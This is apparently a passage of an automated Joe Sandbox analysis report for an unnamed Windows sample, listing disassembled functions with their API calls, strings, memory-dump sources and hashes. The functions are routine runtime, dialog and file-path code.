Instruction Fuzzy Hash: 09020C71E012199BDF14CFA9D9806BEBBF1FF48314F258269EA15E7341D731A9418BA0

Function 00DE3559 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DE3565
IsDebuggerPresent.KERNEL32 ref: 00DE3631
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DE3651
UnhandledExceptionFilter.KERNEL32(?), ref: 00DE365B

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6496077bf11e4a478799399630654cf87eba320b952498cd99a905de9d37eef9
Instruction ID: 538bb6cd321ec38b06251bf3f17ad20719e16bff8874af02937362e03f673ab3
Opcode Fuzzy Hash: 6496077bf11e4a478799399630654cf87eba320b952498cd99a905de9d37eef9
Instruction Fuzzy Hash: DF3118B5D053189BDB11EFA5D9897DCBBB8AF08304F1041AAE40DAB250EB719B85CF64

Function 00DE1FA6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00DE1EEB,0000001C,00DE20E0,00000000,?,?,?,?,?,?,?,00DE1EEB,00000004,00E08D60,00DE2170), ref: 00DE1FB7
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00DE1EEB,00000004,00E08D60,00DE2170), ref: 00DE1FD2

Strings

D, xrefs: 00DE1FC6

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: bc34a9bf34a4ff322ff61502e6c43c1c847a4901f2ce7ea752b2a1017abd2bfc
Instruction ID: f06e88d1fb8dcf9f4b79526e6888aae41e5b84292f51691b18e440465c809a25
Opcode Fuzzy Hash: bc34a9bf34a4ff322ff61502e6c43c1c847a4901f2ce7ea752b2a1017abd2bfc
Instruction Fuzzy Hash: 1601A772A002096BDB24EF29DC05BEE7BADAFC4324F0CC125AD59DB255DB34D911C690

Function 00DE7833 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00DE24EE), ref: 00DE792B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00DE24EE), ref: 00DE7935
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00DE24EE), ref: 00DE7942

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 163b4adffaf2414be86b7b52889d9cfe72de2f74327e9de29c0b74c4d217c7d3
Instruction ID: 64c4e25258efb6bf1cca2e0ad696814b07db3242b02c6e4f0f1c7afaf85038f4
Opcode Fuzzy Hash: 163b4adffaf2414be86b7b52889d9cfe72de2f74327e9de29c0b74c4d217c7d3
Instruction Fuzzy Hash: 7731B375901328ABCB61EF25DD8979CBBB8BF08310F5041EAE40CA7291E7709B858F64

Function 00DCA149 Relevance: 4.5, APIs: 3, Instructions: 29windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DCA1B7,?,00000034,00DC9F3B,?,0000001C,00DD4DBD,00E09850,CryptUnprotectMemory failed,?,00DD4C55,00000000,?,?), ref: 00DCA14D
FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,00000000,00000000,00000000,?,?,00DCA1B7,?,00000034,00DC9F3B,?,0000001C,00DD4DBD), ref: 00DCA16E
LocalFree.KERNEL32(00000000,00000000,?,?,00DCA1B7,?,00000034,00DC9F3B,?,0000001C,00DD4DBD,00E09850,CryptUnprotectMemory failed,?,00DD4C55,00000000), ref: 00DCA186

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: a9743c61db7b3a3917537b162f16dca0b0acae6454fb789c885e092eae316d35
Instruction ID: 2c2ee1eba4170f1eaba13d654478cfbc23b5bb739d7d8e72e958b186204c6b9c
Opcode Fuzzy Hash: a9743c61db7b3a3917537b162f16dca0b0acae6454fb789c885e092eae316d35
Instruction Fuzzy Hash: D2E03074600309BEEB059F60CD06FBF7779EB81794F18C019B50196150DB31DE01EA74

Function 00DDD314 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00DDD337

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6b75517a1ce017e85780b549962e16768cb623ff7f32d688ecddf8e33b68dc1a
Instruction ID: e866961cf1ff49ef52615278ef78a9d3996a8a8725bd704d30c230ce5e78139d
Opcode Fuzzy Hash: 6b75517a1ce017e85780b549962e16768cb623ff7f32d688ecddf8e33b68dc1a
Instruction Fuzzy Hash: 28E01234A0130DEFF710EB65DD56F79B3B8EB08704F4041A6EA05A72C5DA705E488A25

Function 00DE36EC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00023700,00DE3145), ref: 00DE36F1

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b7c0e6b6ed0208e823ccfee1eba61c3b850233928a28dc0aca2349db707f45fe
Instruction ID: 16a61191a65f0a4d30d271c9b9308ddf5e80cf95e67a22a1853a887346cb7c8a
Opcode Fuzzy Hash: b7c0e6b6ed0208e823ccfee1eba61c3b850233928a28dc0aca2349db707f45fe
Instruction Fuzzy Hash:

Function 00DF1450 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00DF1450

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: fa1062fe3ef53a27a03243346ca5fc636820780ca14343c6c18c2c20812840a9
Instruction ID: 3791f3f1a37dc17b7a4359eb52476527ae43897a795bcfb162485a3bb267f415
Opcode Fuzzy Hash: fa1062fe3ef53a27a03243346ca5fc636820780ca14343c6c18c2c20812840a9
Instruction Fuzzy Hash: 07A011302223008FA3008F32AA0A2083AA8EB022A0308802AA008C0232EB2080A08A00

Function 00DD357D Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 00DD80D1: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000,?,?,?,00DC98C5,00000200,?,?,00000007), ref: 00DD80E9

_strlen.LIBCMT ref: 00DD35D3
SetDlgItemTextW.USER32(?,00000064,?), ref: 00DD3629
GetWindowRect.USER32(?,?), ref: 00DD3658
GetClientRect.USER32(?,?), ref: 00DD3664
GetWindowRect.USER32(?,?), ref: 00DD3731
SetWindowTextW.USER32(?,?), ref: 00DD375F
GetSystemMetrics.USER32(00000008), ref: 00DD3767
GetWindow.USER32(?,00000005), ref: 00DD3776
GetWindowRect.USER32(00000000,?), ref: 00DD37A6
GetWindow.USER32(00000000,00000002), ref: 00DD381A

Strings

d, xrefs: 00DD3684
$%s:, xrefs: 00DD35A8
CAPTION, xrefs: 00DD3744

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemMetricsMultiSystemWide_strlen
String ID: $%s:$CAPTION$d
API String ID: 480691170-2512411981
Opcode ID: 219e436ea2abaeaef7500619dd38ea3bd23eca726ec980e69c20c37147b41214
Instruction ID: d2d73cd74b93a1eb25c4dc924d3e7bc32a070b09711e343a96c6b4db52edaea9
Opcode Fuzzy Hash: 219e436ea2abaeaef7500619dd38ea3bd23eca726ec980e69c20c37147b41214
Instruction Fuzzy Hash: 16817FB2209341AFD714DF68CD85E6FBBE9EB88714F04491DFA84E7290D770E9448B62

Function 00DE2EA7 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00E090B0,00000FA0,?,?,00DE2E85), ref: 00DE2EB3
GetModuleHandleW.KERNEL32(<pi-ms-win-core-synch-l1-2-0.dll,?,?,00DE2E85), ref: 00DE2EBE
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00DE2E85), ref: 00DE2ECF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00DE2EE1
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00DE2EEF
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00DE2E85), ref: 00DE2F12
DeleteCriticalSection.KERNEL32(00E090B0,00000007,?,?,00DE2E85), ref: 00DE2F35
CloseHandle.KERNEL32(00000000,?,?,00DE2E85), ref: 00DE2F45

Strings

WakeAllConditionVariable, xrefs: 00DE2EE7
SleepConditionVariableCS, xrefs: 00DE2EDB
kernel32.dll, xrefs: 00DE2ECA
<pi-ms-win-core-synch-l1-2-0.dll, xrefs: 00DE2EB9

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: <pi-ms-win-core-synch-l1-2-0.dll$SleepConditionVariableCS$WakeAllConditionVariable$kernel32.dll
API String ID: 2565136772-369236946
Opcode ID: 16f0f657df1f3063865228d98490b664ce62c364c9156c15221e85187553993e
Instruction ID: d9128844fa320613d17ae9422e2b6208186b3a5f10a5f9034d929deb9eb30d7e
Opcode Fuzzy Hash: 16f0f657df1f3063865228d98490b664ce62c364c9156c15221e85187553993e
Instruction Fuzzy Hash: 2B014C71640721AFDB202B77EC19E773A789F45B61B09C412FA05E6792DBB1C844CA70

Function 00DCE001 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCE00B
GetLongPathNameW.KERNEL32(00000000,00000000,00000000), ref: 00DCE022
GetLongPathNameW.KERNEL32(00000000,?,00000000), ref: 00DCE061
GetShortPathNameW.KERNEL32(00000000,00000000,00000000), ref: 00DCE08E
GetShortPathNameW.KERNEL32(00000000,?,00000000), ref: 00DCE0CB

Strings

rtmp, xrefs: 00DCE1EC

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: NamePath$LongShort$H_prolog3_
String ID: rtmp
API String ID: 3803749914-870060881
Opcode ID: d1c8aba1ad1a16271a9c3662ac7ae6a596d8034a25540a1873bc65399f26a2b1
Instruction ID: 5fc91eaf6e1ae8e0f24311fe53bbd76caadc33288661f73d40a696bd4576c7c0
Opcode Fuzzy Hash: d1c8aba1ad1a16271a9c3662ac7ae6a596d8034a25540a1873bc65399f26a2b1
Instruction Fuzzy Hash: E49141749002569ADF24EB60CC65FEDB779EF62300F48409DE406A3293EF745E89CA70

Function 00DE0D59 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DE0D60
ShowWindow.USER32(?,00000000), ref: 00DE0F4C
GetExitCodeProcess.KERNEL32(?,?), ref: 00DE0F84
CloseHandle.KERNEL32(?), ref: 00DE0FAC
ShowWindow.USER32(?,00000001), ref: 00DE0FF8

Strings

<, xrefs: 00DE0DA1
.inf, xrefs: 00DE0E9D
.exe, xrefs: 00DE0FB6

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ShowWindow$CloseCodeExitH_prolog3_HandleProcess
String ID: .exe$.inf$<
API String ID: 1101579886-2155991917
Opcode ID: acde78387a8966132388ca67cc989559dab63cb29dfef32e00a658bc5091a05d
Instruction ID: 5fb2d65aee21e0b18ed386a553cb3140c7d113197a37566665baceacc7368913
Opcode Fuzzy Hash: acde78387a8966132388ca67cc989559dab63cb29dfef32e00a658bc5091a05d
Instruction Fuzzy Hash: 1A819D309042899ECF21FFA2D855BEC7B70AF55704F18402DE9416B292EBB09DCACB70

Function 00DD019E Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 175comCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DD01A5
CoCreateInstance.COMBASE(00DFB8B0,00000000,00000001,00DFB8A0,?), ref: 00DD01C0

Part of subcall function 00DD053C: __EH_prolog3.LIBCMT ref: 00DD0543

Part of subcall function 00DD043F: __EH_prolog3.LIBCMT ref: 00DD0446

Part of subcall function 00DD043F: SysFreeString.OLEAUT32(?), ref: 00DD0491

VariantClear.OLEAUT32(?), ref: 00DD0311

Strings

ROOT\CIMV2, xrefs: 00DD01D7
Name, xrefs: 00DD02F1
Pou, xrefs: 00DD01C0
SELECT * FROM Win32_OperatingSystem, xrefs: 00DD0244
WQL, xrefs: 00DD025F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3$ClearCreateFreeInstanceStringVariant
String ID: Name$Pou$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL
API String ID: 1275433175-1470209851
Opcode ID: 1f44d729543d7f44111ee364ec043ba60bac603885f7ba8c7d3274c193c4c71c
Instruction ID: b9cc9a3754d5544a90eeb6f816ba062f9efa3ad9605c02393d6e72be6d9fea37
Opcode Fuzzy Hash: 1f44d729543d7f44111ee364ec043ba60bac603885f7ba8c7d3274c193c4c71c
Instruction Fuzzy Hash: D051F770A00219AFDB04EBA4DC95ABEBBB9FF48710F544159E912A73A0DB306D05CF70

Function 00DDFA40 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 00DDFA8D
SendMessageW.USER32(?,00000080,00000001,000304D1), ref: 00DDFAB5
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,00000000), ref: 00DDFACF
GetDlgItem.USER32(?,00000065), ref: 00DDFAEF
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00DDFB04
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00DDFB1B
SetForegroundWindow.USER32(?), ref: 00DDFB22

Strings

LICENSEDLG, xrefs: 00DDFA52

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: MessageSend$Item$DialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3693826088-2177901306
Opcode ID: a38b4945785724a8c4c002c6042466208b4082be7f76c6a887f06680eb5e2366
Instruction ID: d5a7cdceb5df579964071d6b11bba98a0f6866bd7755a7049221e8244c1a8e08
Opcode Fuzzy Hash: a38b4945785724a8c4c002c6042466208b4082be7f76c6a887f06680eb5e2366
Instruction Fuzzy Hash: 3E2106713402007FE6116F66AD0EFBB366DEB49B01F08412AFA4AF73D2DBA19C459275

Function 00DD7819 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 409COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DD7823
__Init_thread_footer.LIBCMT ref: 00DD7F42

Part of subcall function 00DDE16C: __EH_prolog3_GS.LIBCMT ref: 00DDE173
Part of subcall function 00DDE16C: GetLastError.KERNEL32(0000001C,00DD78A2,?,%ls,00E13550,00000254,00DC3112,00000039,?), ref: 00DDE18B
Part of subcall function 00DDE16C: SetLastError.KERNEL32(00000000,?), ref: 00DDE1BF

Strings

#, xrefs: 00DD7E6F
P5, xrefs: 00DD7F13
%ls, xrefs: 00DD7891
%s: %s, xrefs: 00DD7D23
`5, xrefs: 00DD7F2C

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorH_prolog3_Last$Init_thread_footer
String ID: #$%ls$%s: %s$P5$`5
API String ID: 1419464261-2187842751
Opcode ID: 2ade0e841977990187355ed45a8685af40efc0510a7e6567e5b693ff05f4ae37
Instruction ID: 633be1096088263ed34ca68ab88531b7eac8b5576a5b532b3fc745cd8b026b41
Opcode Fuzzy Hash: 2ade0e841977990187355ed45a8685af40efc0510a7e6567e5b693ff05f4ae37
Instruction Fuzzy Hash: 36F17E3580522ADBDF24ABB0D95DBACB764EF05310F2440CAE6056B3C6EA749E44EF71

Function 00DE6741 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DE6860
___TypeMatch.LIBVCRUNTIME ref: 00DE696E
_UnwindNestedFrames.LIBCMT ref: 00DE6AC0
CallUnexpected.LIBVCRUNTIME ref: 00DE6ADB

Strings

csm, xrefs: 00DE67EB
csm, xrefs: 00DE6897
csm, xrefs: 00DE677E

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 560081a52c521dfe99fc21e99227f15479650e1ab6ae338ac8d1bb27cab63f13
Instruction ID: fd97fdb363c000e98f3c5dd8d92778c05a868a1574f5aa3d13a17f6d6bdb895d
Opcode Fuzzy Hash: 560081a52c521dfe99fc21e99227f15479650e1ab6ae338ac8d1bb27cab63f13
Instruction Fuzzy Hash: 3FB15A71C00289DFCF19EFA6C8819AEB7B5FF24350B18856AE8056B252D731DA51CFB1

Function 00DDD4C3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00DDD4F2
GetClassNameW.USER32(00000000,?,00000080), ref: 00DDD51C
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00DDD54E
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00DDD595
DeleteObject.GDI32(?), ref: 00DDD59C
GetWindow.USER32(00000000,00000002), ref: 00DDD5A5

Strings

STATIC, xrefs: 00DDD522

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: MessageSendWindow$ClassDeleteNameObject
String ID: STATIC
API String ID: 4005992627-1882779555
Opcode ID: 45c876d36c6002ac11074d05ce454e27f072e947a6db61a1b6076d51e6a6f6b9
Instruction ID: 0aa9545f69557bc665d6d49a92bed1e82af2cd8409ff4dfb8eff841271c77d0a
